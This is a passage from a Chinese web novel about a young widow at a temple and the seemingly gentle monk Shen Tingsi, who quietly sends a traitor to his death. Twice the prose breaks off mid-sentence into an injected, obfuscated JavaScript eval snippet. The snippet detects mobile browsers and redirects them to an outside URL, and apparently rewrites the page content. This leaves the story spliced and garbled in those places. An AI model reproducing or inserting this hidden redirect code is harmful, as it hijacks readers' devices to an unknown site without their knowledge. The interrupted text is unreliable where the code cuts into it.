两位僧人闻言抬起头面面相觑,皆受宠若惊的神色。 师兄佛法高深,清风明月,走在哪里都引人瞩目,令人心生敬仰,就是迦南寺的一尊活佛陀。 虽瞧着平易近人,几曾何时主动说要与人一道走? 现在与师兄一起回去,路上说不定还能讲解不懂之处,两僧人忙不迭地压下心中欣喜。 “是。” 沈听肆垂下眼,拾起掉落的经书,神色维持往日的温润道:“走罢。” 两位年轻的白面僧人跟上师兄,沿路上,其中一人壮着胆子询问今日听堂的不懂之处。 沈听肆温和的与他们解释,嗓音低沉又缓柔。 僧人恍然大悟,认真地记在心中。 随着交谈的声渐渐行远,躲在假山石中的谢观怜走出来,素色大氅内的裙摆被打湿,洇出深紫色的花纹。 她懒懒地靠在假山上,素手撩开纱幔,美眸眺望前方隐约快要看不见的身影,脸上露出无言。 他竟借着和僧人讲法离去了。 她也有不解之处,难道不应是分先来后到吗? 不过…… 她想到方才手中的变化,绛红朱唇微微扬起。 难怪上次只是不小心用手碰了一下他的喉结,反应便那般激烈,连维持淡然的脸色都变了。 原来看似圣洁禁欲的佛子,身体竟然这般敏感。 她心情陡然好转,拍了拍身上的雪,转身往回走去。 另一边。 两人僧人走至禅院大门,所疑皆得到点化,心满意足的与师兄弯腰揖礼。 “悟因师兄慢走。” 沈听肆颔首,转身时脸上的温和随之消散。 他的眉眼恹出冷淡,与刚才和人交谈时有所不同,脸上看不出一丝的悲悯之色。 回到院中,他将身上浸过雪的僧袍换下,打了热水沐浴,再度换上崭新的僧袍,踱步在空寂的寝居里。 屋内冷得干巴巴的,他停在炉前,夹着木炭丢进去。 煤炭发出细微的声音打破室内的宁静。 他如常取下书架上的书,折身盘腿坐在蒲垫上翻开经书,自始至终都平静得对之前被人冒犯之事似乎并未放在心上。 黄昏落幕,宛如轻纱的黑雾有吞噬白雪之意,炉子里的炭火早就已经燃完了,一点猩红似灭非灭地在铜炉中,透出昳丽的艳色。 原本盘坐在蒲垫上的青年不知何时,已经安静地躺在榻上睡了过去了。 灰白的僧袍如褪色的月华,泛着玉泽的柔色,手指搭在只翻了一页的经书上,白似融化的雪水浸出透明。 炉子里最后的火彻底随着天际的霞光消失,室内的暖意散去,空寂的冷雾从笼罩在外院子。 天彻底黑了。 他仍旧在沉睡中,眉头紧锁蹙起,颧骨上泛着不正常的艳色,像是着梦魇了般,呼吸并无如面上那般宁静。 忽然,他整个人剧烈抖动了下,怀中的经书落在地上。 细微的声响如同破暮色的一束光,将他从梦中拉出来。 沈听肆睁开眼,盯着横梁许久才面无表情的从榻上坐起身,灰白的袍摆迤逦地垂在精瘦的脚踝边。 他拾起掉落在地上的经书,放在木柜上,随后将榻上的一应物件都抱出去丢进院中,用火折子点燃。 待到那些都燃成一堆黑灰,他才转动漆黑的瞳仁,缓步出去打水又去换洗身上的衣物。 . 上次大意,不慎过界得太严重了,后面她一次都没有再遇见沈听肆,甚至还听说他的法坛都取消了。 连法坛都不去了,自然也不会来授课。 她不知是不是因为那日的原因,他现在被她们这些年轻守寡的寡妇都还克己复礼,见一面难于登天。 清晨。 谢观怜如往常那般前去训诫堂听经。 这段时日她与月娘相识很熟,知晓月娘本名冀月,是前朝册封的侯君遗孤,因为现君主是最后的赢家,月娘被牵连满门,现在只剩下她一个人。 月娘虽是前朝的人,却是君主亲自开口留下来的,听闻连宫里的皇后时常还会派嬷嬷前来问候几声是否安康。 许是为了彰显仁德,月娘前不久被赐婚给陈王为正妃。 陈王早些年得了疯病,疯了好些年,在去年娶妻后稍有好转,不过偶尔还是会无端发病。 所以月娘与她不一样,并非是寡妇,而是刚嫁给陈王不久的新妇,是来迦南寺为夫君祈福的,眼下也暂且住在明德园里。 虽月娘乃陈王正妃,身份尊贵,但相熟后她从不让人唤她陈王妃,而是让人就唤‘月娘’。 两人寻常会一起前往前往训诫堂听堂,偶尔也会一起用膳。 今日也一样。 刚走进训诫堂,谢观怜发现人似乎变少了。 原本有十二人,后来又来了两人,按理说应当是有十四人。 谢观怜余光留意到不远处,月娘坐在蒲垫上双手捂住唇小声地唤她。 她知晓自己声音小,还挥了一下手。 “怎么每日都来这么早?”谢观怜好奇问。 月娘盯着她眨了眨眼,脸颊忽然一红,垂下头小声道:“我害怕嘛。” 只有第一个来,才不会被人留意到,所以她每每都来得最早。 月娘虽然比她要大一两岁,实际却很是内敛胆小。 谢观怜笑了笑,垂眸翻开经书,等法师前来讲禅。 身边的月娘忽然附耳过来,悄声道:“怜娘,你有没有发现,昨日少了个人,今日又少了个人?” 谢观怜眨眼,侧首道:“嗯,是少了两位。” 月娘捂着唇又悄声道:“是吧,我也发现了,今儿个问小雪,她和我说是因为犯错被人接回去了。” “犯错?”谢观怜扬眉。 她在迦南寺有半年了,从未听说迦南寺中还有犯错的。 况且被接走的那两人,已经守在这里快十年了,再过几年就能得到一块贞节牌坊回去‘光耀门楣’,怎会说接走就接走? 月娘点头,将自己听来的告诉她:“小雪说是她出去取信时看见的,一顶黑灰软轿被两个人抬着从后门悄悄走的,里面的人还哭哭啼啼的,抬轿的婆子还说什么‘怨不得她们,都怪娘子犯错了’这种话。” 谢观怜正欲开口询问,而前方已敲响了铜钟。 月娘连忙坐回原位,低声呢喃消散于僧人的念经声中。 “也不知是犯了何错,总之怜娘也要小心点,别犯错了。” 谢观怜翻书的指尖微动。 好不容易熬过诵经的时辰,谢观怜本是想要找月娘再问一问。 可还没来得急与月娘说句话,她身边的小雪便过来将人接走了。 谢观怜留意到那小雪像是对所有人都很警惕,尤其是她,看她的眼神很古怪。 训诫堂外的矮墙、长廊两侧被松软白雪覆盖,今日难得有了几缕带着暖意的阳光,照在白雪上很是晃眼。 谢观怜站在门口,抬手搭在眼上缓和刺目感。 坐在长廊栏杆边的小雾见状,赶紧走来:“娘子,怎么了?可是有什么不适?” 谢观怜放下手,摇头道:“无事,只是许久未曾见过这般好的光了。” 小雾点头:“的确,从下第一场雪开始,整天都湿漉漉、冷森森的,今日难得有好太阳。” 谢观怜走下台阶,边走边欣赏沿路的雕刻在墙上的彩画,偶尔回应雀跃的小雾。 待走至分岔路口时,谢观怜停下脚步,忽然发现手腕上的那条绸帕不见了,珍珠素绣鞋尖下意识一转。 “娘子,怎么了?” 小雾疑惑跟在后面。 谢观怜摸着手腕,低声道:“那条帕子不见了。” “帕子?”小雾一脸茫然,随后反应过来她说的是那条无论去何处,连夜里睡觉都要随身束在手腕上的帕子。 那条帕子随着娘子很多年了,对娘子多重要,她比谁都知晓。 小雾连忙道:“娘子别着急,我帮你一起找。” 谢观怜点头。 两人沿路边找边往回走,可还没有走完一整条路,谢观怜忽而止步将小雾拉住。 “罢了,一条帕子罢了,丢了便丢了,找不到就算了。” 小雾抬头讶然道:“可是娘子,那帕子不是……” 话还没说完,她自己先消声了,悄悄看谢观怜的脸色。 谢观怜面色如常,淡淡摇头:“不找了,那本就应该丢了的东西。” 小雾看了眼仅剩的一段小路,又看了眼转身往前走真的不找了的谢观怜,赶忙跟上去。 一路回去不如方才欢喜,小雾不敢说什么话,犹恐不经意说出什么,让娘子想起了伤心事。 谢观怜见她变得乖巧安静,便知她心中想的什么。 轻捏她紧绷的小脸,语气轻松道:“丢东西的是我,小雾干嘛苦着脸?” 小雾露出笑:“没有苦着脸。” 谢观怜哪能看不出来她又学自己,失笑:“好了,快出去和她们玩罢,我进去抄会儿经书。” 小雾晓得她现在许是心情不好,乖乖出院子。 谢观怜回到房中,取下书,就倚靠在书架上,心中在想丢的那块手帕。 其实也没什么,那手帕是很多年前被关在楼里学刺绣,她偷偷绣来打算送人的,只是后来没有送出去,所以才系在手腕上成习惯了。 那张帕子,这辈子她都送不出去了。 而这么多年了,本来就该丢掉,忘掉的。 她若有所思地想着,眺目窗外时辰尚早,遂将一字未看的书阖上,放回书架。 . 清晨。 观音殿外的香火鼎盛,僧人抱着一捧赠香摆在外面的青铜托上,转身便看见身后玉颜美艳的女子。 姱容修态之姿,使人见之难忘。 谢观怜问道:“小师父,能否问你一件事吗?” 认出是住在明德园的香客,僧人上前作揖:“不知檀越有何吩咐?” 谢观怜道:“刚才我过来,听人说悟因法师在讲法,不知是在何处?” 明德园中的人,寻常不出院,只有早晨会去训诫堂,偶尔出来便是听闻有哪位法师在讲佛法,所以才会出来。 僧人心中并无诧异,回道:“回檀越,今日悟因师兄并无坛会,他在后山替空余主持伐竹呢。” 伐竹子? 难怪她去了寻常僧人会去的地方,结果没有找 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她看着打湿的鞋,心下后悔这般便来了,应该换一双好走山路的鞋。 但现在来都来了,不好再下去,她只好继续往往面去。 后山的竹林很大,细长的竹叶上堆着如盐的雪,周围很安静,隐约还能听见从寺庙中传来的淡淡佛偈声。 谢观怜走累了,停下来撑在粗竹竿上喘息,光洁的雪额上布满细密的汗珠,双颊晕出艳色,竹叶上的雪落在绿鬓松松的发髻上,如纯白的梨花瓣。 这么大的林子,应该去何处找人? 她手背搭在额上,白项微昂,脸上闪过一丝后悔。 应该再问清楚些再来的。 正当她犹豫不决究竟要不要下山,忽然听见从不远处传来一声竹子倒地的声音。 谢观怜闻声美眸登时明亮,浑身的疲倦散去,朝着放出声响的地方走去。 竹叶抖簌下的雪落在地上堆成小山。 小溪里的水未曾被冻住,一旁的风车转动水花溅落在灰白的袍摆上,很快便浸湿一角。 青年神色寡淡,面容透出些许佛性的高不可攀,手上却持着一把弓弩。 刚才发出的剧烈声响便是箭羽飞出去,扎进竹杆上的声音。 “沈郎君。” 男人面色惨白地跪在地上不敢抬头。 沈听肆收了弓弩,上前取下刺穿竹杆的短箭,随手放进箭槽中,语气含歉:“此事恐怕我也帮不了你。” 男人闻言双膝刚抬着往前,额头便被尖锐的弓弩顶端对着。 “离远些。”沈听肆温和地望着他,哪怕手持弓弩,眉宇之间仍旧有出家人的慈悲。 男人不敢再往前,神情不甘:“沈郎君,我这些年一直为您做事,你不能不帮我。” “帮我做事?”青年眉心微抬,眸中蔓出浅笑,“帮我将我在迦南寺所有的起居呈上他人案,还是帮我将人先一步截取给武侯?也或者是……” 因太多了,所以他一时间数不完,但仅挑拣所说的那几样就足够男人死千百回。 男人脸色彻底变了,没想到这么多年自己做的事,他都知晓,甚至在明明都知晓的情况下,还如此纵容,眼看着自己步入火海。 甚至现在他费尽心思逃到这里来,本以为能保住一命,没想到竟是送羊入虎口。 男人浑身僵硬,看着眼前的慈悲人,心中仍有一丝微弱的期望。 谁都知晓出家人慈悲为怀,而眼前的佛子应当也一样,毕竟也帮沈听肆做事有几年了,对他为人算是了解。 男人急忙俯下身乞求:“沈郎君,我虽有做过这些,但真正对郎君有害的一件也没做过。” 沈听肆闻言收了弓弩,乌睫覆下,似在思考他究竟是否只做了这些,俊美的皮囊在光影照耀下如迦南寺外那尊露天观音。 还真的想起还有一件事。 青年眼神清明,在男人的目光下缓缓弯了眼角,泄出一丝笑:“的确,我知你不会做出这种事,应是一时误入歧途罢了。” “对对对。”男人忙不迭地磕头:“我从未想过要害郎君,无论是武侯、还是其他人想要郎君的消息,我都模棱两可地告知的,没有将郎君真正的消息给过,他们至今都还以为郎君在潜心修佛。” 男人只顾着表明心意,没有发现头顶的青年佛子目光并未在他的身上,而是在不远处的山头。 待他说完,头顶传来不疾不徐的斯文嗓音。 “你抬头。” 男人抬头,看见年轻的佛子逆着的光似渡的佛光,精致的下颌抬起,睨着前方。 顺着佛子的目光看过去,只是一片平平无奇的山头,没什么奇怪之处。 正当他要开口时,恰巧传来佛子淡柔的腔调,尾音上扬,带着缱绻的温柔。 “今日我暂且还有事,恐怕不能立即帮你了,但外面的人正在四处搜寻你,我亦不能将你藏在这里,等下你沿着竹屋后面的那条小道走,进入那片山头,往右三里半有一山洞,寻常无人会去……” 他的话还没有说完,男人便感激地磕头:“多谢长郎君,日后我曾利一定会为郎君肝脑涂地,赴刀山火海,以报郎君救命之恩。” 沈听肆止话,没说什么。 男人满脸欢喜的千恩万谢,起身后一刻也不停地捂着手臂上的伤口,步履蹒跚地沿着那条小路往深山走去。 他以为只要熬过今日,明日便能获救,被喜悦冲昏头脑的他,忘记了周围都被界石围绕拦住,无人踏足的深林多的是猛兽,现在又正值寒冬,不知有多少猛兽饿着肚子。 主动送去猛兽的洞穴,怕是连骨头都很难剩下。 年轻的佛子眉宇露出几缕悲悯,对着男人奔去的方向低声超度。 诉完佛经,他乜斜被打湿的袍摆,因不能忍受这种程度的脏污,而眉心蹙起。 他拿着弓弩,折身往身后的竹林小室的台阶上拾步。 6.雁门 周围很安静,连鸟叫声都似乎闻不见。 谢观怜从小桥上走来,诧异地眺望远处。 没想到这里竟会有一间,修葺典雅的竹林小舍。 她睨了眼刚掉在石板上,还没化的雪堆,捉起裙摆朝着前面的竹舍拾阶而去。 刚才声音是从此处发出的,她还以是沈听肆在此处,结果令她失望的是,门虽是敞开的,但里面并无人。 空荡的房中只有一套挂在木架上的灰白僧袍,以及一串泛着玉泽的佛珠。 僧袍摆有深色的水渍,应该就是刚换下来不久。 她猜测他还在此处,欲去其他地方寻人,转身却冷不丁被身后悄无声息立着的人,吓得往后退了步。 青年佛子双手环抱,长身玉立地倚在竹门上,眺起清冷的眉凝着她,皮相仍旧温慈,却因眼尾沾薄薄的粉痕,无端多了几分妖冶。 也不知何时站在身后的,悄无声息得似鬼魅。 谢观怜看清是他,眼中瞬间盈出明艳的光,似看见他很是欢喜。 “悟因法师!” 沈听肆听着她压不住雀跃的腔调,神色不变,漆黑的瞳珠一动不动地盯着她:“檀越怎会在此处?” 声线隐约透出刚睡醒的淡淡虚哑。 这种声线…… 谢观怜耳根忽然红了,垂头小声道:“其实我是来找悟因法师的。” “找我?”他越过她走进去,取下挂在木架上的佛珠戴上。 谢观怜悄然撩开眼皮,目光跟着他的一举一动难以移开目光。 她最爱看佛子手持佛珠,也爱看攥紧珠子泛白的指尖。 尤其是失控时不经意将珠子扯断,那些四分五裂的碎珠落地声,她最喜欢听。 身后的女人没有回应。 沈听肆侧首,看见她目光落在刚才戴上的佛珠上,半脸腮透赤,甚至连呼吸都不如方才平静。 这种眼神这些年他见得并不少,甚至能一眼辨别出她对自己有渴望,但又与别的女子不同,不仅是渴望,还夹杂着古怪的痴迷。 他下意识蹙眉,遂又松开,腔调微淡地提醒她的目光已越界:“檀越。” 谢观怜目光不舍的从他戴上的佛珠上移开,抬眸望向他,熟练地露出无辜之色。 他神色淡淡的与她对视。 谢观怜眼含歉意,指了指他胸口的佛珠,小声道:“抱歉法师,我是瞧着您胸前的那串佛珠很眼熟,没有冒犯您之意。” 柔软的语气地透着小心翼翼,眼眶天生带着水盈盈的湿润,望向人时如里面藏着一弯明月,很难使人去指责她。 沈听肆长睫覆下,视线掠过佛珠,语气温和如常:“无碍。” 慈悲之人哪怕被人冒犯了,也能维持应有的矜持与温顺。 谢观怜心中对他越发喜爱。 见他脾性很好,她继续往下试探:“不瞒法师,未嫁人之前,我也有一串这样的佛珠,不过后来断了,说来有些缘分,断的那串和法师的颜色很相似。” 这话不算骗人,以前的确有,也的确断了,所以她说起来极其自然。 说完后她眨巴眼睫,等着他往下接话。 然而年轻俊美的佛子眼皮都没颤,神色温润地‘嗯’了声。 看似克己复礼,实则与那日讲法是一样的意思。 你有佛珠与我何干? 谢观怜对他的疏离并未气馁,不觉尴尬,转过其他话题又道:“其实我来找法师,是因为那日听了法师的话,回去仔细钻研佛法,近来有所悟,想与法师探讨一番,我所悟是否对。” 话说至他有兴趣之事,他眼中才有别样情绪。 因他眼中的情绪散得太快,谢观怜并未看清,以为他又要出言拒绝,正欲启唇说下一句,结果眼前的青年墨黑的眸子轻压,泄出一缕清淡的笑。 “好。” 答应了? 容易得谢观怜面露诧异,看着前方说罢就已转身朝着内屋踱步的年轻佛子,暗忖应该是真是答应了。 她白净的小脸忍不住带上欢喜,提起微湿的裙裾跟上他。 竹林小舍修葺得分外典雅,陈设整齐,透着简约的自然美态,连墙壁上悬挂的画都很应景。 白雪、松竹、残阳,景色相宜。 一扇半人高大、四方工整的窗上悬翠竹风铃,外面携裹一阵微弱的风,风吹铃响,浸透出空灵。 这地方是真好。 谢观怜端方地跪坐在蒲垫上,目光忍不住打量周围,若是没有看错,墙上悬挂的那几副画都是名迹。 先不论别的,就算是假的,单论画功也已是顶尖了。 没想到只是后山寻常无人的一间竹舍,竟会挂这些东西,也不担心有人会窃走。 一杯茶水推放在面前,谢观怜收回视线,捧起来柔声道谢:“多谢法师。” 沈听肆坐在她的对面,淡笑问道:“不知檀越是要议说哪一处?” 谢观怜连忙将那日看的《心经》说与他听,也将不懂之处指出。 虽此处无经书,但谢观怜的记忆很好,其实并不愚笨。 那日刻意那般说,原是试探他究竟会喜欢怎么样的女子,好对症下药。 这段时间她发现太过愚笨的女子,他似乎并不喜欢,所以她打算试试偶尔‘愚笨’。 她前面所言正解,而所疑惑之点亦是经文最晦涩处,他仔细的一一说与她听。 青年嗓音清冷,讲佛法时有习惯会说得仔细些,未了还温声询问她是否明白。 如此体贴,谢观怜自不会像上次那般装傻。 她乖乖地点头,“懂了,因缘和合。” “嗯,檀越很聪颖。”他眼含赞意地颔首,遂又往下继续讲解。 谢观怜乌睫微垂地颤了颤,看似认真地听着,思绪却已渐渐飘远,不在悟道上。 这还是她第一次在他眼中,看见这种神态。 青年温言细语地讲得仔细,完全沉迷于佛经之中,身上的灰白僧袍都似渡上了神性的柔光。 好圣洁的佛子。 她轻咬住下唇,心口不受控地开始发烫。 因她没有如上次般刻意表现得很愚笨,他讲出的话也只需一遍,她便能快速顿悟给出正解,整场议论过得很快。 直到不经意扫至窗外,睨见几分日照金山的绚烂,谢观怜才惊觉时辰已这般晚了。 再晚些时辰下山,恐怕连路都要看不清了。 “多谢法师今日解惑。”她眼含感激,双手合十对他作揖,“天色也已不早了,今日也耽搁法师许久,怜娘便不再打搅法师了。” 沈听肆莞尔:“无碍,下山的路滑,檀越小心脚下的雪。” 谢观怜颔首,手搭在桌案上欲起身,余光不经意扫到他微微侧了下身子。 但当她凝眸看去时,年轻的佛子眸色透彻,似刚才并未动过。 这是防止她再像那次那般‘不慎’腿麻无力碰到他。 谢观怜心中莫名微霁,老实站起身,对他欠身告辞。 走出小舍,外面隐约飘着小雪,雪花落在乌黑的长睫上将视线映出暗影。 谢观怜走上竹木桥,侧首看了眼不远处的竹屋,明眸中洇出浅浅的笑意。 这一趟果然没有来错。 他虽看似待人温和,实则为人很是淡漠,不过也是真的爱好经文,所以每次她用佛经接近他,才次次都会得到回应。 喜欢佛经的佛子。 她压下眼中浮起的笑,步伐轻快地提着裙摆,一刻也不敢多逗留,赶在天黑之前下山。 赤红的残阳往山头落下半个,天上飘的白絮小雪并未有下大之意,竹屋外的小溪上铺了一层如蛛网般的冰霜。 沈听肆将刚才与人讲法的经书整齐地放进书架中,放完后隐约听见一阵呼啸的虎声。 不知是谁惊扰了深林中沉睡的猛兽。 白雪皑皑的林中,枝丫上的雪被惊得抖簌砸落在地上。 男人半张脸与半只手臂被什么凶狠的野兽啃咬得鲜血淋漓,正步履蹒跚地拼命往前跑,脸上满是惊恐。 “救命……” 身后的雪白的猛虎狂啸,矫健地飞奔而来,随后猛地将男人扑倒。 男人重重地倒在地上,双眼被血色覆住,半只眼中已被绝望充斥。 就在他以为自己将要成为猛虎的盘中餐时,刚才还面露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤其是他垂下的那张脸,怜悯充斥着怪诞的诡异,曾利似乎知道他要问什么了,后背隐隐发寒。 沈听肆问他:“僧想问问,之前偷的东西藏在哪里了?” 语气如不久前在竹屋中,与人讲解经文一般温柔。 “不……知!”曾利怀恨地吐出两字,费劲地掀开眼皮用独眼狠瞪他,“沈听肆,你会下地狱的,我做鬼都不会放过你。” 沈听肆莞尔:“多谢。” 话音落下,他慢悠悠地转音又道:“不过听说指挥使临走之前,好似将妻儿送上渡船了,东西的去向你会告诉她们吗?” 随口的一句揣测,直接让苟延残喘的男人乱了:“不……别动她们。” 有了弱点的人注定成不了大事。 沈听肆看他的眼神冷寂得毫无波澜,语气含着怜悯:“那在何处呢?” “在……”曾利呼吸艰难,心中犹豫是否说了他就真的会放过家人。 沈听肆看出他的犹豫,温声道:“出家人不打妄语,且信奉因果轮回。” 曾利开口:“在雁门,当年岩王与陛下争斗,岩王妃悄悄派手下的嬷嬷将孩子带去了雁门,但具体在何处我亦不知,只知晓或许是个女郎。” 女郎啊…… 沈听肆颤了颤眼睫,也不知信与不信,漆黑的眼眸如浸雪中的黑曜石,盯着他缓缓道:“有件事忘记了和指挥使说,我不是出家人。” 混账东西! 曾利猛地瞪大双眼,一口气竟没提上来直接断了。 还等着他回应的青年佛子歪头见他面目狰狞,伸出泛着冻红的手指,屈放在他的鼻下,淡淡地惊讶了声。 “气断气了。” 他神色微恹地撑着伞站起身,转身朝着山下走去。 其实他知道东西不在曾利妻儿身上,他不过是上来看人是否还有救没,怎知心境竟如此小,一句假话就气得断气了。 林中的雪下得大了起来,黑雾笼罩在白得空寂的深林中,躲在角落的白虎确定人已经走了,不会再回来,再次出来叼咬着尸身往后洞穴拖去。 7.窥视 雪下大时,谢观怜走下山,鼻尖和眼皮被冻得泛红,裙摆上都坠着冰垛子,原本的珍珠素绣鞋也潮气湿湿的。 小雾在门口等了她很久,见她冻得脸通红,急忙上前将汤婆子塞在她的怀里,忍不住小声说她。 “娘子,你去什么地方了,怎么才回来,天都要黑了,再晚些奴婢就要出来找你了。” 谢观怜抱紧些温暖的汤婆子,“没去什么地方,就是去后山那片竹林散散心。” “后山的竹林?”小雾讶然,没听说什么后山有竹林。 谢观怜没仔细说,点了点头,侧首柔声问:“有热水吗?” 上山时没有带伞,下山时虽下的雨不大,但也淋了许久的雪,现在她的脚与手指都冻得没有知觉了,需要热水泡一泡回温。 小雾道:“不知娘子何时回来,还没有热水,娘子在快些去屋里,换身衣裙去炉子面前烤烤,奴婢去叫水。” “嗯。”谢观怜走进屋。 小雾往外跑去叫水。 将湿漉漉的衣裙换了,她坐着炉子边烤着双手,一壁回想不久前在竹林遇见的沈听肆。 他今日似乎和前几次见有些不一样,显而易见的心情甚好,不像是犯错受罚来的竹林,同样他也并非是因为上次的不经意,而佛心不稳上山苦修。 那间竹林的路瞧着并不常有人走,竹林干净整洁得人居住的痕迹很少。 所以极有可能是他的地方,寻常人不会去。 谢观怜的手烤暖和了,收回来撑着下巴,轻眨鸦黑睫羽,脸上浮起沉思。 若他真的经常在那里,那便好找人多了,人不多,也不会有人发现她时常来找他。 “娘子,水好了。” 小雾在外面唤了声。 谢观怜止住思绪,应了声,抱起寝袍往外走去。 寺中虽然寡淡,但每间院子规格都修葺得还算好,许是因为住的都是守节的寡妇,所以浴房都配备在院中,两室一院,瞧着不大,刚好够她一人住。 见着天色亦不早了,谢观怜让小雾早些回去休息。 小雾没有坚持,眨着犯困的眼睛离去了。 此时外面的风雪渐大,浴房内湿热的雾气往上蔓延,笼罩出朦胧的仙雾。 谢观怜坐在小木杌上褪下衣裳,酥云半垂出漂亮的水滴状,揽着衣裳的藕臂肌白如腻,双腿匀称。 起身将小衣挂在木架上走的莲步,小蛮的腰更是柔弱纤细如同杨柳,玉颜至玉足无一处不夺人心魄。 她如常般跨步进入浴桶中,颈子往后靠在边沿,温暖的热水让清若芙蕖的眉宇情不自禁地松懈下来,外面响起了一声极其小的踩雪‘咯吱’声。 极其微弱,藏在呼啸的风雪中几乎不可闻。 小雾刚走,不可能是小雾,而且那一声脚步很轻,也仅仅只有一声便停了。 她下意识站起身,捞过挂在一旁的衣裳裹在身上,刻意对着窗边喊了一声。 “小雾。不是让你回去休息吗?怎么这般晚了还在外面?” 外面没有任何动静,像是根本就没有人。 谢观怜提起小木杌,眼神警惕地往门口移去,停在门口等着若是一会儿有人推门而入,她便砸下去。 但等了许久,举着木杌的双手都发颤了,门口都是安静的。 她不敢掉以轻心,又等了许久,屋内的雾气散去,穿着单薄的身子隐约生寒都没有任何动静。 谢观怜弯下腰,小心翼翼地透过门缝往外看去。 从窄小的细缝看到的外面没有人,只有大雪被风吹卷起。 谢观怜紧绷的身子陡然泄力,放下木杌,捂着胸口低喘沉气。 许是她听错了。 这里是寺庙,而且还都是寡妇住的地方,怎会有人偷窥。 饶是如此,她也不敢再继续沐浴,折身回去匆忙将衣裙迅速穿上,然后提着灯盏拉开门。 院子并不大,扫眼望去一览无余,地上覆着一层白雪,也看不究竟有没有脚步。 她站在门口看了一眼,提着灯笼转身朝着屋内而去。 许是受了惊吓,夜里点着灯烛,谢观怜都还是失眠了。 翌日,雪停天晴如洗。 谢观怜用完早膳后前去训诫堂,月娘也早就已经到了,眼底有青乌,一眼瞧着便知与她一样没睡好。 “月娘你这是怎么了?”她跪坐在蒲垫上,侧首问道。 月娘撩开眼皮,幽幽地睨向她,道:“怜娘,我觉着迦南寺根本就不能称之为第一佛寺,也根本没有灵验的神佛。” 谢观怜闻言瞥了眼上首,被屏风挡住的地方。 今日讲堂的僧人还都没有来,若是来了听见这话,不知可会不会气得掀开屏风。 她垂颈子,柔声问:“怎么忽然说这种话?” 月娘移臀坐在她身边,小声道:“我觉着这里夜里有鬼,昨夜我睡觉,总觉窗外有鬼在偷看我,但我今儿将这件事说给小雪,小雪去给我求符了。” 与月娘相识的人都知她胆小,听起来倒像是因为梦魇产生的假想。 若放在昨夜之前,谢观怜可能也会和小雪一般想法,让她去求平安符放在枕下求安心。 但今日,她不自觉地想起昨夜沐浴时,也觉外面有人过。 她蹙眉,道:“或许真有什么不干净的东西。” 月娘闻言眼眸陡然一亮,用力点着头,语气充满感激:“我也觉着,终于有人信了,我从第一日住进这里,就觉得很古怪。” 刚悄声说完,外面的钟塔被敲响,今日讲法的尼姑走进来。 月娘忙不迭坐回去。 谢观怜一耳听着周围的人开始喃喃念经,微抿红唇。 一堂课下来后,月娘已将刚才议论的事都忘记了,亲昵地抱着她的手臂一道出去。 今儿清晨祈福过后有两日假,虽不能出寺,但却可以随意在寺中闲逛。 月娘刚来没多久,对此地很新鲜,拉着谢观怜去观音殿拜佛。 两人拜完后,转而又避着人去亭子里坐,看不远处的热闹。 “怜娘你看那边那些人在看的人。”月娘指着对面。 金佛露天佛像下围着一群人仰着头,似乎是在看什么热闹。 谢观怜探身从众人仰望的方向看去。 佛像的旁边有一小塔,隐约能看见塔中有人。 灰白的僧袍如一抹凄冷的月光,哪怕看不清面容,只是一道背影,她还是认出来了。 那人是悟因。 谢观怜道:“那是悟因法师。” 月娘闻言先是一怔,遂眸儿陡亮,身子往亭子外探着要看,还不忘与她说:“悟因法师我晓得,听说是秦河沈氏,现任家主遗弃在迦南寺的嫡子,沈氏曾经祖上还出过异姓王,现任夫人是君主的表妹。” 这些在氏族之中并非是秘密,所以迦南寺虽远,但来的贵勋却不少,这便是其中之一缘由。 谢观怜手肘搭在栏杆上,单手撑着下巴,眨着明眸望着那道似乎在与人讲佛法的背影,没说什么。 月娘对沈听肆很感兴趣,“而且我来时听闻这位佛子生得极其好看,面如观音,待人和善温柔,且佛法高超,不少他国高僧每年都会前来寻悟因法师辩经,只可惜了不是真僧人,若是真僧人,恐怕连王庭第一法师莲圣子都得让位。” 她说得很感叹。 谢观怜不置可否,虽是如此,但他与寻常的僧人没什么不同。 剃度,穿僧袍,住寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996917|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庙,诵佛经,连眉宇都是出家人的慈悲,没人会将他当成俗世之人。 柔风拂过,乍然生寒,窗外的人越来越多,已有些打搅里面的人了,所以侍从上前将门窗阖上,杜绝下方那些目光。 支起的窗户关上后,屋内的烛火晕黄出暖意。 案几对立,上摆白净玉瓶,红梅修齐得雅致。 拓跋呈面容俊冷地盘腿坐在蒲垫上,盯着对面佛子低诵佛经。 讲完最后的一页,年轻的佛子抬起清隽柔善的眉眼,“不知小侯君还有何不解之处吗?” 因为被遗弃在寺中二十年,所以他身上沾染的是宁静的神性与淡淡的檀香。 拓跋呈阖上一页未曾翻动的经书,放在膝上,道:“于经书暂无不解之处,但有另外参不透的,所以今日前来向法师请教。” 沈听肆道:“请小侯君说。” 拓跋呈道:“我想知晓半月前我被围困在匈奴,你是如何做到让人放我离去的?” 君主早就对他起了杀心,此次对战匈奴,他被小人陷害,被匈奴的人抓住严加拷打,本以为会命丧匈奴,却被匈奴人放了回来。 至于为何会猜出是沈听肆做的,还是他回来后用了半月的时日才查到些蛛丝马迹。 一介僧人,竟能让敌国将士放他国主将领,这不得不令他多想。 所以今日假借求文佛法之由,从秦河赶来丹阳。 “我很好奇,沈郎君想在我身上得到什么?”他深深地看了眼对面,容色不改的青年,没再用法师,而是用了世俗称呼。 沈听肆掠过他眼中的警惕,莞尔道:“并不是想从小侯君身上得到什么,只是想与侯君做个交易。” 找他做交易? 拓跋呈第一反应便是他想要回秦河沈氏,做回矜贵的沈氏嫡子,但转念又一想,他连手都能伸去匈奴,怎会这么多年都回不去秦河? 